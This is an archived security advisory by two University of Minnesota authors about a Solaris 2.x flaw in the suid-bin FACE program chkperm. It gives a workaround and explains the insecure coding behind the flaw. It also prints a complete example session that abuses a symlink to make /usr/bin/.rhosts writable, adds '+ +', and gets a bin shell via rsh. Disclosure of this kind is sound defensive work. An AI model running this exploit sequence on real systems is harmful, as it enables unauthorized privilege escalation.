home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / solaris_.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.6 KB  |  105 lines

  1.  
  2.               Solaris 2.x Vulnerability [/usr/vmsys/bin/chkperm]
  3.                                        
  4. Problem: Vulnerabilities in /usr/vmsys/bin/chkperm
  5. Platform: Solaris 2.4, 2.5, 2.5.1, other System V derived
  6.           systems with the FACE package installed
  7. Impact:  Local users can overwrite bin owned files with
  8.          zero length files. Local users can create world
  9.          writable bin owned files. Account bin can be
  10.          compromised.
  11. Solution: Remove the suid/sgid bit from the program until
  12.           a patch is available
  13.  
  14. ------------------------------------------------------------------------
  15.  
  16. PROBLEM DESCRIPTION
  17.  
  18. Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package
  19. called FACE (Framed Access Command Environment) installed. Included in
  20. the package is a program called chkperm which checks a file to see if
  21. the user has permission to use the FACE interface. This program is
  22. installed suid and sgid bin, and is trivially exploitable to
  23. compromise the bin account.  And in Solaris, which installs many/most
  24. of the system binaries as bin, it may be said that "binliness is next
  25. to rootliness."
  26.  
  27. The FACE package comes from System V, and may be available under other
  28. SYSV based systems.  We welcome reports of other vulnerable systems.
  29.  
  30. This vulnerability is believed to be known to the intruder community.
  31.  
  32. ------------------------------------------------------------------------
  33.  
  34. PLATFORMS AFFECTED
  35.  
  36. Solaris 2.x, possibly other SYSVR4 derived systems. We welcome
  37. reports of other vulnerable systems.
  38.  
  39. ------------------------------------------------------------------------
  40.  
  41. IMPACT
  42.  
  43. Local user can gain system privileges as bin (root follows shortly)
  44.  
  45. ------------------------------------------------------------------------
  46.  
  47. SUGGESTED WORKAROUND
  48.  
  49. % chmod ug-s /usr/vmsys/bin/chkperm
  50.  
  51. ------------------------------------------------------------------------
  52.  
  53. EXAMPLE
  54.  
  55. % mkdir /tmp/foo
  56. % mkdir /tmp/foo/lib
  57. % chmod -R 777 /tmp/foo
  58. % setenv VMSYS /tmp/foo
  59. % umask 0000
  60. % ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
  61. % /usr/vmsys/bin/chkperm -l -u foo
  62. % ls -l /usr/bin/.rhosts
  63. -rw-rw-rw-  2 bin      bin            0 Nov 12 09:41 .rhosts
  64. % echo "+ +" >> /usr/bin/.rhosts
  65. % ls -l /usr/bin/.rhosts
  66. -rw-rw-rw-  2 bin      bin            4 Nov 12 09:41 .rhosts
  67. % rsh -l bin localhost /bin/csh -i
  68. Warning: no access to tty; thus no job control in this shell...
  69. % id
  70. uid=2(bin) gid=2(bin)
  71.  
  72. ------------------------------------------------------------------------
  73.  
  74. DISCUSSION
  75.  
  76. The program (which resides at /usr/vmsys/bin/chkperm) does several
  77. things in an insecure fashion:
  78.  
  79. 1) It tries to open the file $VMSYS/.facerc and if the file is not
  80.    present it creates it, with zero length, ownership bin.bin
  81.  
  82. 2) The user's UMASK is inherited, so permissions on the newly-created
  83.    .facerc are under the control of an attacker.
  84.  
  85. 3) VMSYS by default is set to /usr/lib, but the program cheerfully
  86.    checks your environment for a different VMSYS base directory, and
  87.    uses that.
  88.  
  89. 4) There is no check made for symbolic links, avoiding the need to
  90.    race.
  91.  
  92. This exploit is far from original, though it appears to be unpublished
  93. as yet.  Blindly following symlinks, following without checking for
  94. existence or matching ownership, inheriting the user's environment,
  95. are examples of very naive programming wholly inappropriate for a
  96. program installed setuid to a system account.
  97.  
  98. Sun's practice of shipping their system binaries and binaries
  99. directories owned and writable by bin certainly contributes to making
  100. this exposure more effective and dangerous.
  101.  
  102. Kevin Prigge   <klp@tc.umn.edu>
  103. John Ladwig    <jladwig@soils.umn.edu>
  104.  
  105.